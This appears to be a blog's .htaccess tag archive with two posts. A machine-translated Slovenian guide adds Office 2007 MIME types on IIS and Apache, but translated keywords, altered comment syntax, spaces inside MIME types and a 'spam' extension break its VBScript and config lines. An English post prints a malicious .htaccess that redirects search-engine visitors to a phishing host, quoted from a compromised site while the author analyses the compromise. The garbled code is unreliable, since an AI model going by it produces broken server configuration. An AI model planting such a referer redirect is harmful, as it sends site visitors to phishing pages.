Tag-Arhiv za » htaccess «

sobota, 21. februar, 2009 | Avtor:

Razmeroma nove vrste dokumentov Pisarna 2007 je dal Nekateri spletni gostitelji težav, ko svojim strankam želimo ponuditi dokumentov za prenos. Najpogosteje, dokumente, ki jih spletni strežnik, kot je na voljo “text / html” ki se nato postanejo kot tono smeti na zaslonu spletne uporabnikov.

Najboljši način za rešitev te težave je, da dodate vse MIME Vrste na glavno konfiguracijo strežnika. IIS7 za Windows že ima te vrste MIME pravilno nastavljena privzeto. IIS6 in IIS5 zahtevajo vrste MIME, ki se dodajajo, Ker bi Apache na starejših napravah. za Apache, obstaja tudi workaround za posameznega lastnika domene dodati vrste mime preko Apache je .htaccess datoteka.

IIS 6 MIME tip dodatek (za Server Administrator)

Preden se to lahko stori, zagotoviti, da je strežnik nastavljen tako, da bo neposredno urejanje metabase:

  1. Load IIS Manager: Začetek -> Run, “inetmgr” -> [v redu]
  2. Desno kliknite “strežnik” in kliknite “Properties”
  3. v okviru “Internet Information Services” tab (običajno le zavihek), zagotovijo, da “Enlahko Direct Metabase Uredi” polje se preverja.
  4. kliknite [v redu]

Bodite prepričani, da nazaj konfiguraciji IIS je (tukaj za IIS5) vnaprej. Ne bo nobene odgovornosti za skrbnika rešuje svojega strežnika. Imam razlog za domnevo, to lahko tudi delo na IIS5 pa imam ravno toliko utemeljeno domneva, da bi lahko samo dati veliko napak. Če na IIS5 / Windows 2000 admin je pripravljen preizkusiti to za mene Po varnostno kopiranje konfiguracija prosim rezultatov.

Kopirajte naslednje besedilo v datoteko z imenom msoff07-addmime.vbs in ga izvrši enkrat iz ukazne vrstice, ki ga tipkanje cscript msoff07-addmime.vbs in pritisnete Enter. Če imate več kot enkrat, vrste MIME bo dodana vsakič, in boste imeli več enakih vnosov:

"Ta scenarij dodaja potrebno urad 2007 Vrste MIME za na IIS 6 Strežnik.
"Za uporabo te skript, samo dvokliknite ali ga izvrši v ukazni vrstici.
"Tek Ta skript večkrat rezultate v več vpisov v
"IIS MimeMap tako da ni treba izvesti več kot enkrat.
Prirejeno iz http://msdn.microsoft.com/en-us/library/ms752346.aspx
 
dim MimeMapObj, MimeMapArray, MimeTypesToAddArray, WshShell, oExec
const ADS_PROPERTY_UPDATE = 2 
 
"Nastavitev vrste MIME za dodajanje
MimeTypesToAddArray = Array(".docm", "application/vnd.ms-word.document.macroEnabled.12", _
".docx", "application/vnd.openxmlformats-officedocument.wordprocessingml.document", _
".dotm", "application/vnd.ms-word.template.macroEnabled.12", _
".dotx", "application/vnd.openxmlformats-officedocument.wordprocessingml.template", _
".potm", "application/vnd.ms-powerpoint.template.macroEnabled.12", _
".potx", "application/vnd.openxmlformats-officedocument.presentationml.template", _
".ppam", "application/vnd.ms-powerpoint.addin.macroEnabled.12", _
".ppsm", "application/vnd.ms-powerpoint.slideshow.macroEnabled.12", _
".ppsx", "application/vnd.openxmlformats-officedocument.presentationml.slideshow", _
".pptm", "application/vnd.ms-powerpoint.presentation.macroEnabled.12", _
".pptx", "application/vnd.openxmlformats-officedocument.presentationml.presentation", _
".sldm", "application/vnd.ms-powerpoint.slide.macroEnabled.12", _
".sldx", "application/vnd.openxmlformats-officedocument.presentationml.slide", _
".xlam", "application/vnd.ms-excel.addin.macroEnabled.12", _
".xlsb", "application/vnd.ms-excel.sheet.binary.macroEnabled.12", _
".xlsm", "application/vnd.ms-excel.sheet.macroEnabled.12", _
".xlsx", "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet", _
".xltm", "application/vnd.ms-excel.template.macroEnabled.12", _
".xltx", "application/vnd.openxmlformats-officedocument.spreadsheetml.template") 
 
"Get mimemap predmet
Set MimeMapObj = GetObject("IIS://Localhost / MimeMap")
 
"Call AddMimeType za vsak par razširitev / MIME
za števec = 0 da UBound(MimeTypesToAddArray) Korak 2
    AddMimeType MimeTypesToAddArray(števec), MimeTypesToAddArray(števec+1)
Naslednji
 
"Ustvarjanje Shell predmet
Set WshShell = CreateObject("WScript.Shell")
 
"Ustavite in začeti IIS Service
Set oExec = WshShell.exec("net stop w3svc")
Ali Medtem oExec.Status = 0
    WScript.Sleep 100
Loop
 
Set oExec = WshShell.exec("net start w3svc")
Ali Medtem oExec.Status = 0
    WScript.Sleep 100
Loop
 
Set oExec = nič
 
"Poročilo status uporabnika
WScript.Echo "Microsoft Office 2007 Vrste dokument MIME je bila registrirana."
 
"AddMimeType Sub
Pod AddMimeType (ext, MTYPE)
 
    "Get preslikave iz premoženja MimeMap.
    MimeMapArray = MimeMapObj.GetEx("MimeMap") 
 
    'Dodaj novo preslikavo.
    jaz = UBound(MimeMapArray) + 1
    ReDim Ohrani MimeMapArray(jaz)
    Set MimeMapArray(jaz) = CreateObject("MimeMap")
    MimeMapArray(jaz).razširitev = ext
    MimeMapArray(jaz).MimeType = MTYPE
    MimeMapObj.PutEx ADS_PROPERTY_UPDATE, "MimeMap", MimeMapArray
    MimeMapObj.SetInfo
 
End Pod

Apache MIME tip dodatek (za Server Administrator)

Apache shranjuje svoje vrste MIME v datoteki običajno nahaja na $installpath / conf / mime.types. Glej mod_mime dokumentacijo Za več informacij o tem, kako deluje. Arch Linux namesti svoje vrste MIME na /etc / httpd / conf / mime.types in Parallels Plesk namesti v /usr / local / PSA / admin / conf / mime.types. Vaša distribucija bi ga imeli v drugem mestu, tako najdejo svoj mime.types datoteke, ki jih izvaja poiskati mime.types.

Dodajte naslednje vrstice v vaši mime.types datoteke:

application/vnd.ms-word.document.macroEnabled.12                          docm
application/vnd.openxmlformats-officedocument.wordprocessingml.document   docx
application/vnd.ms-word.template.macroEnabled.12                          dotm
application/vnd.openxmlformats-officedocument.wordprocessingml.template   dotx
application/vnd.ms-powerpoint.template.macroEnabled.12                    potm
application/vnd.openxmlformats-officedocument.presentationml.template     potx
application/vnd.ms-powerpoint.addin.macroEnabled.12                       ppam
application/vnd.ms-powerpoint.slideshow.macroEnabled.12                   ppsm
application/vnd.openxmlformats-officedocument.presentationml.slideshow    ppsx
application/vnd.ms-powerpoint.presentation.macroEnabled.12                pptm
application/vnd.openxmlformats-officedocument.presentationml.presentation pptx
application/vnd.ms-powerpoint.slide.macroEnabled.12                       sldm
application/vnd.openxmlformats-officedocument.presentationml.slide        sldx
application/vnd.ms-excel.addin.macroEnabled.12                            xlam
application/vnd.ms-excel.sheet.binary.macroEnabled.12                     xlsb
application/vnd.ms-excel.sheet.macroEnabled.12                            xlsm
application/vnd.openxmlformats-officedocument.spreadsheetml.sheet         xlsx
application/vnd.ms-excel.template.macroEnabled.12                         xltm
application/vnd.openxmlformats-officedocument.spreadsheetml.template      xltx

Apache MIME tip dodatek (Za lastnika domene z najmanj FTP dostop – uporabi datoteko .htaccess)

Dodajte naslednje besedilo za svojo domeno je .htaccess datoteka, najpogosteje v httpdocs / imenik

AddType application / vnd.ms-word.document.macroEnabled.12 docm
AddType application / vnd.openxmlformats-officedocument.wordprocessingml.document docx
AddType application / vnd.ms-word.template.macroEnabled.12 dotm
AddType application / vnd.openxmlformats-officedocument.wordprocessingml.template dotx
AddType application / vnd.ms-powerpoint.template.macroEnabled.12 potm
AddType application / vnd.openxmlformats-officedocument.presentationml.template potx
AddType application / vnd.ms-powerpoint.addin.macroEnabled.12 spam
AddType application / vnd.ms-powerpoint.slideshow.macroEnabled.12 ppsm
AddType application / vnd.openxmlformats-officedocument.presentationml.slideshow ppsx
AddType application / vnd.ms-powerpoint.presentation.macroEnabled.12 pptm
AddType application / vnd.openxmlformats-officedocument.presentationml.presentation pptx
AddType application / vnd.ms-powerpoint.slide.macroEnabled.12 sldm
AddType application / vnd.openxmlformats-officedocument.presentationml.slide sldx
AddType application / vnd.ms-excel.addin.macroEnabled.12 xlam
AddType application / vnd.ms-excel.sheet.binary.macroEnabled.12 xlsb
AddType application / vnd.ms-excel.sheet.macroEnabled.12 xlsm
AddType application / vnd.openxmlformats-officedocument.spreadsheetml.sheet xlsx
AddType application / vnd.ms-excel.template.macroEnabled.12 xltm
AddType application / vnd.openxmlformats-officedocument.spreadsheetml.template xltx
delež
Thursday, January 22nd, 2009 | Avtor:

I very recently found a problem with a client’s web site due to a .htaccess datoteka. The site was hosted on a Windows server running IIS using IISPassword, which makes use of .htaccess files for its settings.

IISPassword doesn’t follow exactly the same rules as with Apache however. If the .htaccess file exists then it must contain IISPassword-appropriate rules, otherwise the server returns only the following error:

Error 500 given by IIS Password
Here’s the content of the .htaccess file. I’ve only modified the final redirection URL to point to example.com appropriately:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yandex.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*rambler.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ya.*$ [NC]
RewriteRule .* http://siffy-phishing-url.example.com [R,L]

If this were on a server running Apache with mod_rewrite, most web users would go directly to the correct site content. Only if they reached the site through the search engines and indexes listed in the .htaccess, would they be redirected to the siffy phishing url that the cracker wants victims to reach.

Seveda, the cracker (or perhaps even an automated worm) didn’t realise that the server in question didn’t even support these mod_rewrite rules. But either way, this is very worrying as I can foresee many arguments about whether or not the site is working

delež